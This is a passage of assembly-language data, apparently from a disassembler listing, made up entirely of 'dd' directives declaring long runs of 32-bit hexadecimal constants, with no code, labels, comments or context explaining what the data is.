		dd 890072E9h, 108280EAh, 749B5AF2h, 4BD607AAh, 198830E7h
		dd 58005CDEh, 0A1F5E95Dh, 2C5E0086h, 0F997CB67h, 57008AADh
		dd 9A306139h, 18BA4EAh,	26F0275Bh, 805820B5h, 92B28070h
		dd 2C34E7B1h, 80FC513Dh, 9E820EB5h, 7C7CDF0Dh, 130DA074h
		dd 2051CD24h, 6F0BE7F0h, 1200B09Dh, 1D81B01Ah, 0FF64274h
		dd 3765F400h, 64E9A1FAh, 69D04C3Dh, 0AB0E161h, 98698052h
		dd 55AA5946h, 0C28E035Ch, 7BA896B1h, 18A426B2h,	4EF027D8h
		dd 0C19A8559h, 298E938h, 7A444737h, 5E960C60h, 90073828h
		dd 0B0C01F5h, 29D8A650h, 0EBAC0089h, 24EDD05Eh,	570F742Ch
		dd 0E036520Fh, 0FE7B040Bh, 0C8B5CEAh, 0C0ABEE00h, 0DF4E6AADh
		dd 0E4296B2Ch, 0F10BD200h, 39408F36h, 0B4800269h, 81AA5895h
		dd 460062BEh, 0D79CF0CEh, 5EB7C0h, 0E2F81836h, 1CEE9D28h
		dd 0A960D600h, 685D8511h, 399207DBh, 43595A5Fh,	50E88C66h
		dd 9F122534h, 0E0002EB3h, 351FE998h, 8B530208h,	397C5D9Eh
		dd 0E14590A0h, 0A87B8C12h, 0B050730Ch, 0C97B0852h, 0ABD86521h
		dd 0F4027100h, 0B380CEBAh, 74F503E7h, 0E5B71D49h, 81346FA8h
		dd 0F3A0B850h, 0AA960D3Eh, 390BAC9Eh, 76BA11A7h, 24993BA0h
		dd 80C50892h, 11A15B21h, 0FE3D67h, 825F9910h, 0C116A314h
		dd 0C36780Ch, 41016851h, 2599810Fh, 49C8C11Ah, 9FE209Eh
		dd 301035E2h, 0DF398244h, 4CBC24ABh, 874E70Ch, 9D21C75Bh
		dd 8E9FE08Ah, 5400D172h, 0D9E479F5h, 40975Dh, 0A825CD2Ah
		dd 98584422h, 8364B709h, 6D6C4876h, 0E3F63E8Fh,	9D598E83h
		dd 8379ED0h, 96F02167h,	173A5F6h, 4B4A8D6Ch, 0BA9F0865h
		dd 1BCE00B9h, 0E4C1A9C3h, 2861E002h, 0C9C4CA8h,	6970C705h
		dd 0CE7216E8h, 0D6292800h, 0E838110h, 0EC2100FDh, 866230ADh
		dd 1C021166h, 6C501794h, 0AA7360C2h, 2760137h, 0DDED3B05h
		dd 0CC5AD4BCh, 9928C300h, 3E3D04BAh, 0A05B388Ch, 0D766B10Ch
		dd 8A00015Ah, 5FC8BEC7h, 22898Bh, 0ABC60C95h, 9AAD2A5h
		dd 28825730h, 7CF88C4h,	37FFBB53h, 0F38380E4h, 0BD7F4C97h
		dd 0BA661E39h, 7EB07C61h, 0B7550601h, 8C9C5AAEh, 0A82F4180h
		dd 6ABD5B78h, 0CD3EA4EEh, 632400B3h, 0EABB1BB6h, 63890ADh
		dd 36FF118h, 0C2F858A5h, 4C95AA0Fh, 22BAC07Ah, 5319Ch
		dd 0A5CF1F50h, 907F74C6h, 47606F2h, 830BF07h, 1C803F52h
		dd 38E703Eh, 0D864838Fh, 18215350h, 790900C4h, 3B60A6CCh
		dd 2C988A8h, 6C85F6Fh, 0F908EA11h, 0D8DBD080h, 0BEE2A588h
		dd 5D004377h, 2E4FD262h, 6093F5A7h, 0D74BE9A4h,	49003675h
		dd 0D95DF176h, 3EE02F4h, 6744E90Ch, 0F2B29482h,	9300A88Fh
		dd 39580F60h, 0D3BB9C01h, 257CAE30h, 0C745B1FBh, 1E370D20h
		dd 0C01DA44Eh, 205B117Ah, 0EA0097F2h, 0A8D96B07h, 0FAE7273h
		dd 39B9ED53h, 41F1E220h, 0C77C442Fh, 0DF51630Fh, 0C60D8738h
		dd 0D5C01097h, 73B1AFA0h, 0CA788Eh, 0E583D447h,	0BFA4DF54h
		dd 0D56A1906h, 0B31C333h, 0BB2D9446h, 0E5019F00h, 63763104h
		dd 0D4C87218h, 516A9h, 0CABD64E6h, 7A0E036Bh, 4ED09807h
		dd 6320A456h, 319449D4h, 3D48B4B5h, 60A6DB5Dh, 0F382AD01h
		dd 0DAA2729Ah, 60E7C2E1h, 42A75818h, 2730AC41h,	5C90389Fh
		dd 0CBB7309h, 0DC45C255h, 29002781h, 59B60860h,	618744h
		dd 4D9040D8h, 0A413844Ch, 0BADF433Eh, 322F0091h, 2EBBE6C5h
		dd 0DA5900B5h, 51EF7340h, 9E3E04CDh, 9CEC9EA1h,	67CEC300h
		dd 0C750B1Dh, 6BCFF25Dh, 9F60CA09h, 1D4E2E20h, 0AF7C00ACh
		dd 4DC0CDF7h, 6300E1EBh, 93D501CAh, 60C2B991h, 9E950EEh
		dd 36099D88h, 0F48456CDh, 0F0DA0EF7h, 395244A0h, 0FE504EEBh
		dd 807E318h, 50DB72DDh,	214C5531h, 21D70898h, 0DD002E0Dh
		dd 88760FC6h, 175A3E1h,	854CFDF8h, 70098E5Ah, 8C7AD54Ch
		dd 3DF760C1h, 6891519Eh, 0DD34804Ah, 8C70E4A6h,	1CB44h
		dd 0BC89DD3Bh, 8E746509h, 155A643Eh, 694E2B4h, 0CFFC57EEh
		dd 562D0031h, 9116ED29h, 28C33B32h, 1F33D057h, 70857C21h
		dd 77B90E39h, 0F6C86600h, 0A0418313h, 0C2B11016h, 0D5D302CCh
		dd 0A745E068h, 0A0A36790h, 5AD000F3h, 90F8D4ADh, 0D300CC3Dh
		dd 8AC8747Ah, 76C166h, 4216886Bh, 0FF98C214h, 0C7EE3Dh
		dd 54D5AA85h, 76A115h, 0BE37C8E9h, 1FA566DCh, 0B358B000h
		dd 0CAD51ADBh, 8791C1Dh, 80395D6Dh, 0F9600E61h,	4E2E94ABh
		dd 0F6002EBDh, 133E07CBh, 0E3951D92h, 5CF347DDh, 0C5C38015h
		dd 0D107586Bh, 0FEB0B9DAh, 13596E40h, 732E5C2Dh, 9C7F0773h
		dd 46410630h, 0BE0E21F8h, 201F2B15h, 4474B6E2h,	98E467F1h
		dd 6EA1BCCCh, 71B05706h, 119C05h, 0F19A81B9h, 62E6AE1Fh
		dd 0E785391Dh, 5F21A418h, 35A5004Eh, 0B5BB83F0h, 580F8C5Ch
		dd 43AA569Ch, 1A8B08Bh,	7CB22E81h, 20D9860Dh, 0C500BD62h
		dd 264C5B8Bh, 0FDCA142h, 0A7883A24h, 2F026A01h,	0E88046FAh
		dd 2203BE46h, 63D412Eh,	20EC329Ch, 1D2B0A73h, 0CABF2C00h
		dd 1FCF3C47h, 5EB00656h, 10DCEA31h, 1DF3370Fh, 0EBFE4050h
		dd 7B4B7758h, 0C32032Fh, 8FBF27D4h, 0D46B60D1h,	0A9008CA7h
		dd 0FCAF0F15h, 0F45FC9h
		dd 3250B007h, 9D475BDDh, 831C9CEAh, 300494Fh, 54ACDA1Dh
		dd 79FF00C3h, 73E32F60h, 3B002E06h, 2B51E59Fh, 3FD93A3h
		dd 98C5B91Fh, 2F980E68h, 9E078C30h, 62A41125h, 0C38B8570h
		dd 0B8FC0180h, 0CEF733C8h, 40D3D069h, 0EE0001B8h, 624B7FE6h
		dd 7522A1h, 66A5DE14h, 5188B117h, 7FABC001h, 40F4F185h
		dd 0E31E3D4h, 0B7F7C41Fh, 3604A920h, 0D648E632h, 23E50E39h
		dd 583B2024h, 0C705101h, 3AF94079h, 0E460D008h,	58344720h
		dd 0B1560091h, 0FA6133C1h, 420CBAD3h, 505C60E1h, 2E048C0Dh
		dd 68510258h, 0E38861h,	5807A6h, 0D605D833h, 0F510B677h
		dd 7C93A800h, 0FA669A65h, 42E006Ah, 0C330F1E5h,	24651B8Eh
		dd 75C00310h, 0C67D272h, 1C9BF780h, 25604108h, 0C7F41A20h
		dd 87CD00D7h, 62A9A4CFh, 0F906B845h, 6E8E04E7h,	52233C29h
		dd 617D080Ch, 58008411h, 0E8AA27A3h, 3AB326DAh,	4931D9A1h
		dd 0E4C3FD21h, 91EA5BB8h, 4C25BC00h, 0B1E4DEE9h, 0A02260C6h
		dd 1DB2BFA1h, 0ACCC6007h, 0F860F921h, 4D0CE1h, 7AB83AAh
		dd 63C5C9CFh, 4A185C76h, 5F09155h, 0C33530EFh, 0E97CA718h
		dd 33B45E50h, 0FFD12D1Fh, 0EF020C22h, 5F10FBBDh, 0B073A400h
		dd 76872D3Fh, 0D1A0045h, 1B9DC2C9h, 380A3E8Eh, 0D349595Ch
		dd 925414h, 68C25E6Ch, 9DE49Fh,	9B4E3804h, 53EFEB14h, 0ADFF6D00h
		dd 3262771Ch, 24210356h, 79893135h, 0D82791B0h,	8352293Fh
		dd 0DC2D051Ah, 0A9C4D873h, 0A6D70013h, 0B2111796h, 4800151Ch
		dd 2FFC8D87h, 0E6856733h, 2102005Ch, 763E7A39h,	0CE002D14h
		dd 5FF3A59Dh, 74568EB2h, 553900C3h, 0ADE68B94h,	2124E7B5h
		dd 3300EDF0h, 83C7FF26h, 0ACEA1CF8h, 35980EB4h,	0C10DF1E1h
		dd 6F17E74h, 74366130h,	3012000Bh, 64519B1Dh, 0D002B48h
		dd 23B4B984h, 1316B304h, 0E2C97F4h, 0AD20785Fh,	3F502FC4h
		dd 28DA8C00h, 0D98503EDh, 38F00142h, 75080C62h,	378BE87h
		dd 31185FB9h, 0B18006Dh, 924C14Ah, 58C0120Fh, 29F1F61Dh
		dd 83720051h, 84379ED3h, 353AFFBFh, 0C2129C54h,	9391EE0Fh
		dd 46CFF400h, 303AA098h, 87187621h, 9F6F0407h, 0F39E071h
		dd 3CA335E7h, 0AB078CC0h, 488F0C9Ch, 0F5D1B00h,	3EC4415h
		dd 0B9593280h, 0F070B889h, 0B66034F2h, 6D1825B9h, 80F060Eh
		dd 18B8709Dh, 2C35DC01h, 4C2A885Bh, 0E4B17C8h, 53126A37h
		dd 7F44DB40h, 59002F24h, 0BFB43A69h, 27A1D16h, 50219D6h
		dd 0CAE02741h, 84008C01h, 64F94A1Eh, 1F557Eh, 6E67915Ch
		dd 24E34B6Ch, 0DA455Ch,	2F784AE6h, 3ABDA9Fh, 0FF7B2BBEh
		dd 57B83BDEh, 76181E23h, 4B4048C9h, 113107B5h, 1430D15h
		dd 9838344Dh, 4F219E08h, 561100AEh, 8D0745CCh, 0E4E88CC8h
		dd 4E5B5700h, 30245541h, 5990C449h, 0DD0B802Dh,	99008AC0h
		dd 4A7705FBh, 6917D9h, 0CC86F258h, 0BED74556h, 0C9901C6Ch
		dd 1798C44Bh, 112830C8h, 0DB0D236Eh, 802B911h, 56D11D4h
		dd 7066FEC1h, 560116C4h, 612BAFFh, 784E7C99h, 14C09C88h
		dd 1F929AB5h, 3A29B23h,	0CA58E7E4h, 1D82F801h, 3878BFC8h
		dd 754C7070h, 128000A0h, 2A0260B3h, 251D303Bh, 9F00F3FEh
		dd 0F53E9C8Eh, 0D7951EAAh, 0BB654047h, 0E33F4DCDh, 0DA789600h
		dd 0A9811230h, 899A00E6h, 154101C9h, 0FE002B5Eh, 20752819h
		dd 7D263Dh, 67439FA1h, 0D945775Ch, 80B2473Ch, 801523B5h
		dd 3F712F2Ah, 0F480E295h, 8459229Eh, 4907F055h,	0D5C53251h
		dd 46720DA0h, 5BBA389Fh, 8623A980h, 549563E9h, 3D0362E8h
		dd 79EFF32Fh, 0B82CA3C8h, 86FE69h, 8BC0200Bh, 97210F13h
		dd 0DF0FB0F6h, 0A0AA2FDDh, 7A78F547h, 0A600187h, 0C3C42B1Bh
		dd 80BBF9D7h, 0D4FC9FA8h, 0EB9CE42h, 0EB723A67h, 220E9B80h
		dd 4C1BAEB0h, 0B13911h,	0DA278040h, 7EBC77FCh, 0A2F4A00Dh
		dd 0B2F02023h, 4819C3F2h, 6000BAB8h, 951B3BAEh,	79A4E292h
		dd 0C145FED4h, 58D77FE6h, 5AA7F42Ah, 4CF47A00h,	544F6B18h
		dd 0D91020Bh, 0D922D41Bh, 0E0A28BC0h, 0EF73DE0Ah, 200CA92h
		dd 0BB12FDA3h, 1DDD1C36h, 63A14084h, 1C3B16F3h,	8141BA0Ch
		dd 7C9B1050h, 19C40025h, 0D95139BCh, 0DBE1E91Ah, 0ECB8A3C3h
		dd 0E80896E7h, 7331D65h, 80EB6F7Bh, 94B45012h, 0DA97A700h
		dd 0D94BF8C1h, 9251300Ch, 18690530h, 0D7A5360Eh, 0A148665Ah
		dd 701F838h, 318DA414h,	411045D9h, 0EBD19E18h, 5F006A28h
		dd 0B9090CA3h, 9D450094h, 9A76F94Bh, 80038A39h,	903FFA2Ch
		dd 0C04F0F0h, 0BC791Bh,	0B265D1B9h, 32C9E1F5h, 0E90A1C16h
		dd 0FB394E00h, 7321F24Ch, 5C160009h, 0FA0DB805h, 44C6A38h
		dd 899D31E1h, 50800262h, 4BE5CDA3h, 0D6180C61h,	7D69A944h
		dd 23890E62h, 7BE02C93h, 26D7B0E9h, 7145DC00h, 0A3C8AA6h
		dd 0C6A10B31h, 96017A1Eh, 0F4A09222h, 0BD0164AEh, 75AD13BCh
		dd 0D3F0F455h, 0C395004Dh, 783F1088h, 6F00B0Ah,	0C8E5E900h
		dd 0AA779057h, 91C5009Ah, 0B28B4AF3h, 0E97D7818h, 0D5CFF405h
		dd 0E5C06DE5h, 0AF354Dh, 0B5841FD7h, 7DB4554Eh,	0CE00D0B8h
		dd 16E9945Ah, 0FD7DC4Dh, 0B196FDE5h, 0CFD66501h, 0B050820Eh
		dd 40733B33h, 0C32A23h,	9844871Ch, 0DB387D2Fh, 2347F00h
		dd 6B829BECh, 886D6178h, 803D8AC8h, 90513241h, 3F41AD4Fh
		dd 563B616Bh, 3A8CA4h, 9D2D2F63h, 6501D980h, 9677B619h
		dd 7EF14F06h, 20D2A451h, 7F5A6CCh, 95B7600Fh, 7D7F012h
		dd 9418985Bh, 0BF409AFDh, 0ABB901C9h, 6E9B9506h, 6681863Fh
		dd 359B3C1h, 3D9055C8h,	100F762Dh, 20303C0Ch, 0F2867739h
		dd 0A5B50259h, 964DEE92h, 0F552B8A0h, 0CA00FDECh, 0AB232B56h
		dd 4028F441h, 8B3A17F7h, 9F1B9C4Fh, 0EA48300h, 3D439A3h
		dd 0DC41D9E6h, 95A8BD67h, 1B03053Ch, 31530DD2h,	0C222B801h
		dd 0AC9F001Ah, 0DA7F5E52h, 91064A41h, 0C631C838h, 0E5D11E40h
		dd 6B2A00CFh, 0E29BBE79h, 8DE4FA00h, 0B47A0AE8h, 1628C4EDh
		dd 80228507h, 0F3989CD8h, 0F1812400h, 1EAFCFBDh, 40A20109h
		dd 288B2BD8h, 0AC489F4Ah, 54017D00h, 91B8DCh, 653B3FAh
		dd 2E2123A3h, 7C97371Dh, 2800875Dh, 1A588EDEh, 0B7480173h
		dd 3899914h, 0D39CF452h, 0D032D800h, 1E54E916h,	3B6000B1h
		dd 0ECDD94C7h, 7A1E49D6h, 0CCC0DA63h, 795E83A4h, 785A038Dh
		dd 88589DD3h, 20D92800h, 39220DE8h, 0C33C286Fh,	2E71F8A0h
		dd 3817E4h, 0EBC603A1h,	27006037h, 3EA47951h, 546916Fh
		dd 0E93FB34Eh, 0D2CB801Eh, 5008CF0h, 58D94F72h,	6619E16h
		dd 1CAC6246h, 3C53113Fh, 8F898604h, 4EF884h, 25BA7F01h
		dd 0A4414352h, 0EC5AFD00h, 0AA7B1518h, 0F0200048h, 538B6EE3h
		dd 0E0BD944Fh, 0E3E669BFh, 748CD4h, 3646AE52h, 56ACAA3Ah
		dd 0A43E6800h, 611F64D6h, 7F390043h, 64EB8B5h, 0FA0EF174h
		dd 53102h, 6A54836Ch, 3C4C007Bh, 607CE5D9h, 8D0FFF2Eh
		dd 602ACA21h, 0BFDECD9Fh, 0E8000EDh, 0FAB84531h, 0A1005FC1h
		dd 68B63582h, 1D80D86h,	0B4023C3Fh, 0D0C59313h,	0B0095A3h
		dd 4029E8FCh, 9099E0h, 8249262Ch, 20AF8825h, 74A1D100h
		dd 0BA01CFA7h, 5F30027h, 38714112h, 0A6F2D4E9h,	6B4F9700h
		dd 8D73B2E4h, 999A1D0Eh, 411EC017h, 404EEA0Fh, 2BB5A207h
		dd 87E0275Ah, 3FE4F172h, 0DE80BA47h, 0A9904615h, 16003DE0h
		dd 2D73999h, 761FC0D5h,	1BF20004h, 89E09038h, 354C9E20h
		dd 7B6801EBh
		dd 1AB880AEh, 76BCDECh,	60B761D7h, 0E2CF7767h, 8E609F33h
		dd 9300D02Bh, 7517C0E2h, 0C78D7Ah, 49A9E330h, 19AD8287h
		dd 1AA4711Fh, 0F454640h, 0FE5741EFh, 0EBDC00DFh, 0C6F1BE85h
		dd 950076FFh, 0F2BB8047h, 0D3035Ah, 49EE01A2h, 64C9D65h
		dd 0E8974B04h, 0FBC0B2D9h, 739FEB16h, 0A86E1DF9h, 4408C0AFh
		dd 4AFB8F4Eh, 28016A18h, 70BDC028h, 28BCF0B5h, 184F2BAh
		dd 0C4C92AD8h, 0F7F99249h, 0DF831C3h, 770FB0CAh, 1A26D36h
		dd 85E29A4Bh, 696048CAh, 0F0010046h, 0EAE13A38h, 3D00677Dh
		dd 771363B3h, 19BA8B2h,	1F191A53h, 0D717F19Fh, 0AC1E84B0h
		dd 200D6E2h, 1A372FA2h,	6B3F39h, 968DAF11h, 6C4307E2h
		dd 8A03C03h, 98FAB3B8h,	7F4179E9h, 92B9039Dh, 3AB51424h
		dd 27E501C8h, 18D01901h, 900934ACh, 1BB3470h, 0A1F2B40Fh
		dd 0C42C9B4Dh, 0B800650Ah, 0BC34E121h, 8BAFBh, 0C1C619BEh
		dd 0A8E7E3E8h, 2AC5CC00h, 6F0EEF55h, 15AC1869h,	2237EAC6h
		dd 1DCE5048h, 14CFEDFAh, 0E04D806Ah, 35C47A6h, 43FE9230h
		dd 59882B9Eh, 18A02072h, 662E56BEh, 0C51DC334h,	4538DBC0h
		dd 16539C3h, 3E835A95h,	0F8EF88D8h, 5D0041D5h, 1FA9F7Bh
		dd 0F9D4D17h, 0B9A11650h, 6360D4A0h, 2F0987Eh, 0DADC9C00h
		dd 0FFC03243h, 213A0FC2h, 6D60EF07h, 3F3848ACh,	0F4A11000h
		dd 0C574AF96h, 174702F6h, 0EC5F33CAh, 62B4E480h, 700BFEAh
		dd 0B394BA0Ah, 42C538h,	0B2C14A7Fh, 7B1219B0h, 87CF2300h
		dd 90C4DA91h, 83610054h, 0E93AC021h, 3E007698h,	0D21D2516h
		dd 0A79033h, 0F750D90Eh, 0BD4D56B6h, 9EA4000h, 0BB03E6CDh
		dd 57200084h, 16E36DC4h, 4C00177Ch, 0B736422Ah,	31E098h
		dd 6CB3885Ah, 7E087063h, 8BDBCB0Ch, 3B306Ah, 0D51FCE0Bh
		dd 0F8DCA460h, 6E87B800h, 40F4882Bh, 43C200EDh,	0E9D2FA7Bh
		dd 7100833Dh, 5933C0D3h, 0D18C1Ah, 4C9EA6ABh, 0A2CA880Bh
		dd 0BF1EF801h, 0DAEB34B8h, 773D4A30h, 36C80048h, 0E602DC8Fh
		dd 0E6C03B52h, 0A917609Eh, 0F4D70097h, 779A6DDEh, 5E002CD1h
		dd 8613FFE7h, 0EE311762h, 197A31A1h, 0F3C3ED02h, 1AF815D8h
		dd 2DCFAD00h, 0B50FA08Ch, 0B38400C2h, 0E5040549h, 0CD007511h
		dd 0EC725D59h, 0E4B5F432h, 93C807D2h, 60FFF54Ch, 0D7CAED0Fh
		dd 0B8131530h, 0E31E68Eh, 0D472A9F4h, 2BFF62A0h, 8400041Bh
		dd 0BA208699h, 0A682A0h, 78EC2D60h, 98F05189h, 5526FE7Bh
		dd 4600043Dh, 5F7AB2E2h, 8D10C032h, 1C75E02Dh, 0D700F5E8h
		dd 74288AE6h, 987ECF96h, 0E4E30110h, 0E56FB6A8h, 14E8806Eh
		dd 0EEF5B35Dh, 149AEBh,	0D0615BDh, 0A062E34Eh, 25893507h
		dd 0D213288Ch, 0E25D92B1h, 2F746032h, 0BB191C4Eh, 0A2858748h
		dd 40A8832Bh, 0FA477ED8h, 53D0E007h, 0DB508C69h, 13618h
		dd 96B81B2Fh, 0DAFE41A2h, 0B8B1501h, 9332A1FDh,	0B1FC69F9h
		dd 0E6F5000Ah, 977855D7h, 5F00B7D6h, 2F64EFF2h,	5B1956h
		dd 0F3AD5C03h, 0C5BA9325h, 65742877h, 0C400867Ch, 0DAA33963h
		dd 7B266h, 32F38E6h, 0C211C7FAh, 103F2730h, 60BD9Ch, 68E556C4h
		dd 2239F1FBh, 58D7DC00h, 787224DBh, 0CE8B0092h,	0B6ADF68Eh
		dd 0FF003E86h, 740C4A43h, 0FAA1971Bh, 0C8270F3Fh, 0E060E7E4h
		dd 0FA0F64AEh, 23662907h, 0FB935A48h, 5679A01Bh, 203B247Ch
		dd 54803B1Dh, 0AF10FE52h, 8B1D28C8h, 298051C0h,	0FFDF87E3h
		dd 84BE004Dh, 9F6F3C62h, 2F12F3BCh, 9700B5DAh, 0E9ED4BAEh
		dd 0E3F400ABh, 463020FDh, 5E1CD361h, 5C40224Ch,	0D548DE39h
		dd 7C3A0EFFh, 0FE40EC95h, 5662D77Ah, 29A35A00h,	6DCE01EDh
		dd 0CF72000Ch, 909A44D3h, 9507B51Dh, 0BB5036CCh, 96860AC0h
		dd 0A5A80328h, 0CE4B6F5Ch, 0F053B4F1h, 0F0038E1h, 0F306D0D7h
		dd 2E6EC9h, 0CFE04F2h, 29F0FC0Ah, 0D2F5BF05h, 0BC008002h
		dd 19A7F48Bh, 38A1E2F6h, 0E680C148h, 298D20AEh,	333F649Eh
		dd 48C837h, 0AA6E5950h,	0D20712h, 0DA98AFC3h, 0DC15BB8Ch
		dd 4A81C48h, 65CA9B44h,	70F88490h, 0E96F02EBh, 0A815E5C1h
		dd 0CC9620E0h, 2D1E39h,	80AD6C03h, 64E838h, 0D5E17FB7h
		dd 0AE4D8B01h, 30A618C0h, 0C0FFC9B9h, 24043611h, 9901A2EDh
		dd 0D049CC4Ah, 1042D7F0h, 3584603Bh, 30B90063h,	96A2AD0Dh
		dd 5E3FE5C4h, 0A56A80FCh, 76727D9Fh, 3570065h, 21A82D1h
		dd 443DC39Ah, 0FCD96AFh, 4D4E7000h, 619388h, 0A2A98727h
		dd 163294E1h, 9CB07117h, 5AC65800h, 98216DF2h, 69220770h
		dd 0E03AA999h, 0AA7B751Eh, 47E9B900h, 87A870CAh, 20AB488Fh
		dd 8EB61100h, 0BB59607Eh, 0ACA75Dh, 7AE6DE27h, 71C5161h
		dd 6CC29776h, 0D5602FCDh, 88BB7B6Dh, 0EBF14100h, 465FE7F8h
		dd 14150040h, 0C222B9EFh, 0B607D299h, 0F43AB777h, 3F54A00h
		dd 0A84C0034h, 8542EA2Ah, 5C736399h, 8DF8A618h,	12AD5152h
		dd 2F5ED77h, 0A05059E4h, 26003C50h, 0BFE75543h,	7A9610h
		dd 38E2C83Ch, 8191AF49h, 291FD800h, 9BD31CC3h, 0FF3F09Eh
		dd 0BA71D2DDh, 874AE1E0h, 4C0025DEh, 0A5555366h, 394B53Bh
		dd 38C1C7C4h, 9BB779F7h, 39203D81h, 0C2FAD0B0h,	0A70014F0h
		dd 0BC8FB65h, 7B676Eh, 12F0CCE0h, 0A2A89625h, 406BAB00h
		dd 0C2561371h, 4927000Bh, 85386D7Bh, 0FE006409h, 465C8EB2h
		dd 161CB116h, 71AA3Dh, 0A4350330h, 4B0090D8h, 5DCD02D5h
		dd 17BE143h, 852FBFDBh,	0D43777BEh, 31001280h, 762A05DFh
		dd 0EC5A0769h, 52F282h,	6AA38E9Bh, 0CCBDCB79h, 2800B9EEh
		dd 0EFC87E97h, 0C0BE2588h, 6CF76EFCh, 0DB007509h, 3BD5A43Ah
		dd 0C6D16Fh, 0B919D8F9h, 572584BFh, 0B13D4A00h,	34C5C67h
		dd 0F94E0066h, 88981821h, 0EA1FE442h, 1C8099D2h, 0E52D655Ch
		dd 0C47E008Fh, 1A41E90Eh, 5E60B59Ch, 3E6863CCh,	1332E6BCh
		dd 1E526F7Ah, 8D2FC09Ch, 0B0B8AB16h, 7694C212h,	0A2BA8400h
		dd 644CE2h, 622B18D0h, 1E9DD72Fh, 1A375A00h, 0DC99AE93h
		dd 41100048h, 0CA28F49Fh, 0C9860F3h, 0F99EFF12h, 4DE90800h
		dd 1FCD1FCFh, 80671E99h, 0E71D0A4Bh, 0DC00F09Fh, 90DBFF3Bh
		dd 1E7C37h, 0DFED1533h,	6ABB3457h, 3808010Ch, 0FD066DEh
		dd 12EB1307h, 0A9633200h, 1D2CB7C3h, 2D1EA198h,	619FB540h
		dd 0B297C6A1h, 6EAF0398h, 9E73FB40h, 0DD844FA0h, 45603F7Ch
		dd 0CBE2C18h, 0FE30050Bh, 17295F9h, 1BD3A95h, 0E4D1CC26h
		dd 0DA827E0Eh, 14B6C061h, 9867B2h, 0A804C110h, 5551BCF3h
		dd 719CF137h, 0EFBEE857h, 1BA900E9h, 0F2E551B9h, 34BE0330h
		dd 22AD776Ch, 0EFD249D0h, 0D0190900h, 0D8BA4B0Eh, 7EC20C94h
		dd 0CBC95568h, 0EA0387B8h, 7B4F3F0h, 0E385A0E4h, 282F0020h
		dd 9E588D5Fh, 0B800BD35h, 66720B91h, 39D8DBh, 2EB79D12h
		dd 0A2C19F68h, 10BCEF8h, 70695280h, 87B307F5h, 0B07DC8CAh
		dd 0EAB95505h, 11C65007h, 9D20F7D9h, 3D876FD6h,	2A1DF404h
		dd 1359C0D2h, 0DA1694D0h, 17619A06h, 26F99812h,	84784F25h
		dd 805F8DEEh, 0F717B5B7h, 0B0BFEC39h, 6C56D0E0h, 93690F99h
		dd 0B144F2E9h, 0DC1880F4h, 14008E18h, 471F9859h, 539CB9h
		dd 0CDD82E2h, 0E05C4679h, 0CA4C3F1Eh, 4093644Eh, 126DECEDh
		dd 0AC670162h, 0AE7ADB03h, 9368D405h, 75992B5Ch, 0D1C2B812h
		dd 0EF7E1400h, 380433EAh, 0A0E08385h, 147B19BAh, 22C99FEh
		dd 2C0CD6D0h, 3061C8EFh, 3C0869C9h, 1AFAF87Ch, 6BC919DEh
		dd 2CDD6B5h
		dd 0C83F02E0h, 0C5FEE45Ah, 0E387C701h, 0E92E7460h, 80F7189Fh
		dd 41C12D0Ah, 0BA7BB262h, 0D3001B79h, 8D16D998h, 3C0B37D0h
		dd 5100BD60h, 0E49330CCh, 6E13AE1Ch, 550CC769h,	2A088025h
		dd 4424C685h, 0DA00B67Eh, 1B63D41Ch, 618CB50Dh,	9F9D313Fh
		dd 0F4490046h, 92C7301Dh, 23887699h, 8FEA5E0Bh,	2E0103A6h
		dd 0F95CA70Fh, 237D0EEFh, 79E984DBh, 6CE22A00h,	0A900E7B2h
		dd 0F89C365Ch, 16F5463h, 0DB92B619h, 800A699Ah,	2B8C0E78h
		dd 3FB57C95h, 49A41AE8h, 942A141Ch, 17489D33h, 134C6914h
		dd 15B30CCCh, 8C11A96Eh, 9A23BC01h, 540CEFEEh, 9C256109h
		dd 234B53A8h, 777580C8h, 3B0B9B3Dh, 0C6240917h,	0C89A149Ah
		dd 2A806739h, 0AE9DB4ABh, 0F706569Fh, 38BA5225h, 16BB020h
		dd 0FCBE3F0Eh, 0DC732BBFh, 2501EC19h, 0D159DC4Eh, 7281D5B8h
		dd 92ADDE45h, 57D8E840h, 0AEC0F07h, 0C1803B19h,	571A522h
		dd 0B7915F8Ch, 891D8026h, 610112FBh, 7A03EA93h,	8970A168h
		dd 285F00B6h, 8339481Eh, 0AD004BDFh, 30D913D6h,	7973Bh
		dd 2A7BB1F0h, 11B517CCh, 404C2E03h, 0B8017E04h,	0F365F1h
		dd 0F91561A6h, 7ABC83E2h, 806E2B3Ah, 16A9EC8Bh,	695FB3h
		dd 6BC69D6Ah, 0EB4E3FB1h, 0C4589A00h, 31BCEFFCh, 9476005Ah
		dd 0E2E942FDh, 7478F2F3h, 0CB0F04A5h, 7657A048h, 335CE2h
		dd 0B7E61765h, 83E0CF72h, 0A1904677h, 23DA7C00h, 3695194Ah
		dd 0C9F90149h, 17A2998h, 63EFC70h, 3101F473h, 0A86811A7h
		dd 29D80C2Eh, 0BEB60186h, 73E1ADC5h, 30B8C8C0h,	0B00E2EEh
		dd 773CB583h, 603DF4h, 1DF2F03Fh, 183219AAh, 8EBDDB00h
		dd 29F8394Fh, 2C787FDDh, 12590Bh, 2FF0C058h, 49039935h
		dd 0CFE4291Eh, 77D0E86Fh, 9CBA00E6h, 7C9A3F30h,	8C0078A6h
		dd 0C04FF611h, 3E19FAF1h, 6E8E51D7h, 200726Dh, 0A68A17D1h
		dd 0F0E7D7Dh, 806AD9F8h, 65BA0791h, 0E07FADh, 285E048Fh
		dd 0E44C367Ch, 66000674h, 8E269A86h, 0C6263A1h,	2378683Eh
		dd 0ED78F918h, 0AFCAB209h, 40E0018h, 122D7DC1h,	1DB8C0EEh
		dd 0BFC3C368h, 0F0003A4Ch, 3806BA3Bh, 3EA2ECh, 0CE9505DCh
		dd 72C9832Ah, 0E8DA3D1Eh, 44071240h, 94FFA08h, 467A7FC1h
		dd 29813C00h, 8B1F648Eh, 0B3407427h, 5E9D15FAh,	84AD0119h
		dd 0BEBF3AEh, 1460F256h, 14905953h, 504C653Dh, 8A0061DCh
		dd 0BF14EA4h, 90162C54h, 763E3E5Dh, 0E6F8B302h,	0CD42B26Dh
		dd 0A151ACE0h, 906E500h, 44703ECFh, 0BEB4009Ch,	0D9C4EE54h
		dd 37003071h, 391E43D6h, 9AC4B31h, 0D8C58C6Ch, 48406301h
		dd 0A747E457h, 80B5C900h, 0EBB1D10Dh, 92FF5043h, 0CC8603FAh
		dd 137C11ABh, 618725F8h, 599E1400h, 84918E02h, 30E660E8h
		dd 4CC2D42Eh, 12D97A63h, 0A092E05Ch, 4F0D5853h,	0DD9FD200h
